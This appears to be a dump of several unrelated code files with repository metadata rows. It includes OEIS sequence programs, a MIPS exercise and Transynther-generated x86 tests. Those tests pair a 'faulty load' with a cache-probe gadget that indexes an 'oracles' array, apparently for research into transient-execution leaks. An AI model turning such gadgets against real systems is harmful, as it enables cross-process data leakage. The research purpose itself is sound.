nop
xor $38462, %rax
mov $98, %rcx
rep movsb
nop
nop
nop
nop
add %rcx, %rcx
pop %rsi
pop %rdi
pop %rcx
pop %rbp
pop %rax
pop %r9
pop %r14
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r13
push %r8
push %r9
push %rbx
push %rdi
// Store
lea addresses_RW+0xe47d, %r8
nop
nop
nop
nop
nop
cmp %rdi, %rdi
mov $0x5152535455565758, %r11
movq %r11, (%r8)
nop
inc %r8
// Faulty Load
lea addresses_normal+0x1ee11, %r9
nop
nop
nop
inc %rbx
mov (%r9), %r8w
lea oracles, %r13
and $0xff, %r8
shlq $12, %r8
mov (%r13,%r8,1), %r8
pop %rdi
pop %rbx
pop %r9
pop %r8
pop %r13
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'src': {'NT': True, 'AVXalign': True, 'size': 32, 'congruent': 0, 'same': False, 'type': 'addresses_normal'}, 'OP': 'LOAD'}
{'dst': {'NT': True, 'AVXalign': False, 'size': 8, 'congruent': 1, 'same': False, 'type': 'addresses_RW'}, 'OP': 'STOR'}
[Faulty Load]
{'src': {'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 0, 'same': True, 'type': 'addresses_normal'}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'congruent': 10, 'same': False, 'type': 'addresses_WT_ht'}, 'dst': {'congruent': 8, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'REPM'}
{'src': {'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 7, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'LOAD'}
{'src': {'congruent': 7, 'same': False, 'type': 'addresses_UC_ht'}, 'dst': {'congruent': 2, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'REPM'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 4, 'same': False, 'type': 'addresses_A_ht'}, 'OP': 'STOR'}
{'src': {'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 6, 'same': False, 'type': 'addresses_A_ht'}, 'OP': 'LOAD'}
{'dst': {'NT': False, 'AVXalign': True, 'size': 2, 'congruent': 0, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'STOR'}
{'dst': {'NT': False, 'AVXalign': True, 'size': 4, 'congruent': 4, 'same': False, 'type': 'addresses_A_ht'}, 'OP': 'STOR'}
{'src': {'congruent': 4, 'same': False, 'type': 'addresses_WC_ht'}, 'dst': {'congruent': 10, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'REPM'}
{'34': 21829}
34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34
*/
| 37.487805 | 2,999 | 0.6581 |
7d286e5d6f9926f085dfdb6ed85375d18d745ae6 | 629 | asm | Assembly | oeis/157/A157820.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/157/A157820.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/157/A157820.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A157820: 27225n^2 + 2n.
; 27227,108904,245031,435608,680635,980112,1334039,1742416,2205243,2722520,3294247,3920424,4601051,5336128,6125655,6969632,7868059,8820936,9828263,10890040,12006267,13176944,14402071,15681648,17015675,18404152,19847079,21344456,22896283,24502560,26163287,27878464,29648091,31472168,33350695,35283672,37271099,39312976,41409303,43560080,45765307,48024984,50339111,52707688,55130715,57608192,60140119,62726496,65367323,68062600,70812327,73616504,76475131,79388208,82355735,85377712,88454139,91585016
seq $0,157821 ; 8984250n + 330.
pow $0,2
mul $0,2
sub $0,161445355552800
div $0,5929605000
add $0,27227
| 62.9 | 497 | 0.837838 |
8cfd33a97ddaacf1d2e88cea778888449045256f | 925 | asm | Assembly | oeis/079/A079289.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/079/A079289.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/079/A079289.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A079289: For even n, a(n) = a(n-2) + a(n-1) + 2^(n/2-2), n>2. For odd n, a(n) = a(n-2) + a(n-1).
; Submitted by Jamie Morken(s2)
; 1,1,2,3,6,9,17,26,47,73,128,201,345,546,923,1469,2456,3925,6509,10434,17199,27633,45344,72977,119345,192322,313715,506037,823848,1329885,2161925,3491810,5670119,9161929,14864816,24026745,38957097,62983842,102072011,165055853,267390008,432445861,700360157,1132806018,1834214751,2967020769,4803332672,7770353441,12577880417,20348233858,32934502883,53282736741,86234016840,139516753581,225784324853,365301078434,591152512151,956453590585,1547740320464,2504193911049,4052202666969,6556396578018
mov $1,1
mov $2,1
lpb $0
mov $3,1
lpb $3
add $2,1
sub $2,$3
mod $2,2
mov $4,$1
cmp $4,1
cmp $4,0
sub $3,$4
add $6,2
add $7,$1
mov $8,$7
lpe
sub $0,1
add $2,1
mul $1,$2
mul $7,$5
mov $5,-1
sub $6,$7
add $7,$6
lpe
mov $0,$8
div $0,2
add $0,1
| 28.90625 | 492 | 0.676757 |
3ed4a59649d80a987dbbfddf063fccf0d214d44f | 247 | asm | Assembly | Mips Exersice/mip4.asm | Pandula1234/Machine-Instructions | 4fa06486968a546a727fffd897e5a18f75e95c04 | [
"BSL-1.0"
] | null | null | null | Mips Exersice/mip4.asm | Pandula1234/Machine-Instructions | 4fa06486968a546a727fffd897e5a18f75e95c04 | [
"BSL-1.0"
] | null | null | null | Mips Exersice/mip4.asm | Pandula1234/Machine-Instructions | 4fa06486968a546a727fffd897e5a18f75e95c04 | [
"BSL-1.0"
] | null | null | null | .data
array: .word 1:4
.text
li $t0,0
lw $a0, array($t0)
li $v0,1
syscall
addi $t0,$t0,4
lw $a0,array($t0)
li $v0,1
syscall
addi $t0,$t0,4
lw $a0,array($t0)
li $v0,1
syscall
addi $t0,$t0,4
lw $a0,array($t0)
li $v0,1
syscall
| 9.88 | 19 | 0.578947 |
c2c59ef0c43788d92a2d558d1ba21b100bce116a | 146 | asm | Assembly | other.7z/SFC.7z/SFC/ソースデータ/ヨッシーアイランド/ツール/tool/map/sfc/ysm_edit.asm | prismotizm/gigaleak | d082854866186a05fec4e2fdf1def0199e7f3098 | [
"MIT"
] | null | null | null | other.7z/SFC.7z/SFC/ソースデータ/ヨッシーアイランド/ツール/tool/map/sfc/ysm_edit.asm | prismotizm/gigaleak | d082854866186a05fec4e2fdf1def0199e7f3098 | [
"MIT"
] | null | null | null | other.7z/SFC.7z/SFC/ソースデータ/ヨッシーアイランド/ツール/tool/map/sfc/ysm_edit.asm | prismotizm/gigaleak | d082854866186a05fec4e2fdf1def0199e7f3098 | [
"MIT"
] | null | null | null | Name: ysm_edit.asm
Type: file
Size: 83202
Last-Modified: '2016-05-13T04:52:57Z'
SHA-1: F9F0616777B0BC61FD40874CDA36934787E551BF
Description: null
| 20.857143 | 47 | 0.815068 |
a3f47768f40a81f4344bb429fd500d797934573e | 354 | asm | Assembly | programs/oeis/212/A212679.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/212/A212679.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/212/A212679.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A212679: Number of (w,x,y,z) with all terms in {1,...,n} and |x-y|=|y-z|.
; 0,1,8,33,80,165,288,469,704,1017,1400,1881,2448,3133,3920,4845,5888,7089,8424,9937,11600,13461,15488,17733,20160,22825,25688,28809,32144,35757,39600,43741,48128,52833,57800,63105,68688,74629,80864
mov $2,$0
seq $0,238410 ; a(n) = floor((3(n-1)^2 + 1)/2).
sub $0,$2
mul $0,$2
| 44.25 | 198 | 0.672316 |
40067c2692897591c154ca2fac5ec906a4567710 | 836 | asm | Assembly | EEL7030/Rep CAEE/Mic 8085/Teclado.asm | GSimas/MicroC | ac9ef54bbeed027db532885407cc3e783fcb28eb | [
"MIT"
] | null | null | null | EEL7030/Rep CAEE/Mic 8085/Teclado.asm | GSimas/MicroC | ac9ef54bbeed027db532885407cc3e783fcb28eb | [
"MIT"
] | null | null | null | EEL7030/Rep CAEE/Mic 8085/Teclado.asm | GSimas/MicroC | ac9ef54bbeed027db532885407cc3e783fcb28eb | [
"MIT"
] | null | null | null | ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;Teclado.asm - leitura de numeros do teclado
;Prof. Roberto M. Ziller - 04.01.2000
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
LETECLA EQU 02E7H ; Sinonimos utilizados abaixo
MOSTRAD EQU 0363H ;
MOSTRAA EQU 036EH ;
ORG 2000H
LXI SP,20C0H ; Inicializa pilha
LOOP: CALL LETECLA ; Le primeiro numero
MOV D,A
MVI E,0H
PUSH D
CALL MOSTRAD ; Apresenta primeiro numero
POP D
CALL LETECLA ; Le segundo numero
MOV E,A
ADD D ; Resultado em A
PUSH PSW
CALL MOSTRAD ; Apresenta os dois numeros
POP PSW
CALL MOSTRAA ; Apresenta resultado
JMP LOOP
END
| 30.962963 | 62 | 0.455742 |
422d1322396b0324c425d4650d8cc6aa1e84856a | 5,270 | asm | Assembly | Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xa0_notsx.log_21829_1942.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xa0_notsx.log_21829_1942.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xa0_notsx.log_21829_1942.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r12
push %r14
push %r8
push %rcx
push %rdi
push %rsi
lea addresses_normal_ht+0xd5c3, %rsi
lea addresses_A_ht+0x1603, %rdi
nop
nop
nop
nop
nop
add %r11, %r11
mov $20, %rcx
rep movsq
and %r14, %r14
lea addresses_WC_ht+0x1e7c3, %rsi
lea addresses_WC_ht+0x15dc3, %rdi
nop
nop
nop
sub %r8, %r8
mov $75, %rcx
rep movsl
nop
nop
nop
nop
nop
cmp %r8, %r8
lea addresses_normal_ht+0x131c3, %rsi
nop
nop
nop
nop
nop
xor $60889, %rcx
mov (%rsi), %r8d
nop
nop
nop
add $27636, %r11
lea addresses_WT_ht+0x1a2c3, %rsi
lea addresses_D_ht+0x133c3, %rdi
add $41469, %r12
mov $17, %rcx
rep movsb
nop
cmp %r12, %r12
pop %rsi
pop %rdi
pop %rcx
pop %r8
pop %r14
pop %r12
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r12
push %r15
push %r9
push %rbx
push %rcx
push %rsi
// Load
lea addresses_WT+0x1f5c3, %r9
nop
nop
nop
nop
and $31893, %rsi
movups (%r9), %xmm5
vpextrq $1, %xmm5, %r12
nop
nop
nop
nop
nop
xor $18069, %rcx
// Faulty Load
lea addresses_RW+0x1b5c3, %r9
nop
and $5611, %rbx
vmovups (%r9), %ymm5
vextracti128 $0, %ymm5, %xmm5
vpextrq $0, %xmm5, %rcx
lea oracles, %r9
and $0xff, %rcx
shlq $12, %rcx
mov (%r9,%rcx,1), %rcx
pop %rsi
pop %rcx
pop %rbx
pop %r9
pop %r15
pop %r12
ret
/*
<gen_faulty_load>
[REF]
{'src': {'type': 'addresses_RW', 'AVXalign': True, 'size': 4, 'NT': False, 'same': False, 'congruent': 0}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_WT', 'AVXalign': False, 'size': 16, 'NT': False, 'same': False, 'congruent': 9}, 'OP': 'LOAD'}
[Faulty Load]
{'src': {'type': 'addresses_RW', 'AVXalign': False, 'size': 32, 'NT': False, 'same': True, 'congruent': 0}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'type': 'addresses_normal_ht', 'congruent': 11, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_A_ht', 'congruent': 6, 'same': False}}
{'src': {'type': 'addresses_WC_ht', 'congruent': 9, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WC_ht', 'congruent': 11, 'same': False}}
{'src': {'type': 'addresses_normal_ht', 'AVXalign': False, 'size': 4, 'NT': False, 'same': False, 'congruent': 9}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_WT_ht', 'congruent': 8, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_D_ht', 'congruent': 9, 'same': False}}
{'32': 21829}
32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32
*/
| 43.196721 | 2,999 | 0.66167 |
387f9bab464cd9268ca26dc4a079cf17aa904dbf | 7,565 | asm | Assembly | Transynther/x86/_processed/NONE/_xt_sm_/i7-8650U_0xd2_notsx.log_8011_104.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/NONE/_xt_sm_/i7-8650U_0xd2_notsx.log_8011_104.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/NONE/_xt_sm_/i7-8650U_0xd2_notsx.log_8011_104.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r12
push %r8
push %r9
push %rbp
push %rcx
push %rdi
push %rsi
lea addresses_WT_ht+0xc128, %r8
nop
add %r11, %r11
movb (%r8), %cl
nop
nop
nop
nop
nop
dec %rbp
lea addresses_D_ht+0xd0a8, %rsi
lea addresses_A_ht+0x2918, %rdi
clflush (%rdi)
nop
nop
nop
nop
nop
xor $64920, %r9
mov $85, %rcx
rep movsw
nop
nop
nop
nop
nop
sub $51834, %rdi
lea addresses_UC_ht+0xc850, %rsi
nop
nop
nop
nop
nop
and $58467, %r9
mov $0x6162636465666768, %rdi
movq %rdi, %xmm7
movups %xmm7, (%rsi)
nop
nop
xor %r8, %r8
lea addresses_UC_ht+0x280, %r9
nop
nop
nop
nop
nop
dec %rbp
movb (%r9), %r11b
nop
nop
nop
dec %rsi
lea addresses_WT_ht+0xf178, %rsi
lea addresses_UC_ht+0x5bc8, %rdi
clflush (%rdi)
nop
nop
xor %r8, %r8
mov $21, %rcx
rep movsb
nop
nop
nop
nop
nop
and $59062, %r8
lea addresses_D_ht+0xdd58, %rsi
lea addresses_WT_ht+0x1d3a8, %rdi
nop
nop
nop
and $30208, %r12
mov $62, %rcx
rep movsl
nop
inc %rsi
lea addresses_A_ht+0x138, %rcx
nop
sub $1504, %rsi
mov $0x6162636465666768, %rdi
movq %rdi, %xmm3
and $0xffffffffffffffc0, %rcx
vmovntdq %ymm3, (%rcx)
nop
nop
nop
nop
nop
add $44066, %rsi
lea addresses_A_ht+0xb620, %rcx
cmp $9727, %r12
mov $0x6162636465666768, %r11
movq %r11, %xmm3
vmovups %ymm3, (%rcx)
xor %r12, %r12
lea addresses_WC_ht+0x4a38, %r12
nop
nop
and $7981, %r9
mov (%r12), %bp
nop
nop
nop
cmp %r8, %r8
lea addresses_UC_ht+0xab38, %rsi
lea addresses_A_ht+0x10684, %rdi
nop
nop
nop
nop
nop
and %r8, %r8
mov $63, %rcx
rep movsl
nop
nop
nop
sub $1129, %rdi
lea addresses_A_ht+0x72b8, %rbp
sub $28211, %r12
movups (%rbp), %xmm4
vpextrq $1, %xmm4, %rcx
nop
nop
nop
nop
xor $52153, %rdi
lea addresses_WC_ht+0x19838, %r9
nop
xor $19643, %rbp
movb (%r9), %r11b
xor $48613, %rsi
pop %rsi
pop %rdi
pop %rcx
pop %rbp
pop %r9
pop %r8
pop %r12
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r13
push %r8
push %r9
push %rax
push %rbp
push %rbx
push %rcx
// Store
lea addresses_normal+0xf4fe, %rbx
xor $14869, %rbp
mov $0x5152535455565758, %r8
movq %r8, (%rbx)
nop
nop
nop
nop
nop
dec %rbp
// Store
lea addresses_PSE+0xe038, %rax
nop
nop
nop
nop
nop
and $39456, %rbp
movw $0x5152, (%rax)
nop
nop
nop
nop
nop
cmp $9781, %r8
// Faulty Load
lea addresses_PSE+0xe038, %rcx
and $48403, %r9
movb (%rcx), %r13b
lea oracles, %rax
and $0xff, %r13
shlq $12, %r13
mov (%rax,%r13,1), %r13
pop %rcx
pop %rbx
pop %rbp
pop %rax
pop %r9
pop %r8
pop %r13
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_PSE', 'size': 1, 'AVXalign': True, 'NT': False, 'congruent': 0, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 1, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_PSE', 'size': 2, 'AVXalign': True, 'NT': False, 'congruent': 0, 'same': True}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_PSE', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}}
<gen_prepare_buffer>
{'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 2, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 4, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 3, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 3, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_UC_ht', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 1, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 5, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 3, 'same': True}}
{'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 5, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 0, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'size': 32, 'AVXalign': False, 'NT': True, 'congruent': 5, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 9, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 7, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 1, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_A_ht', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 6, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 8, 'same': False}}
{'52': 8011}
52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 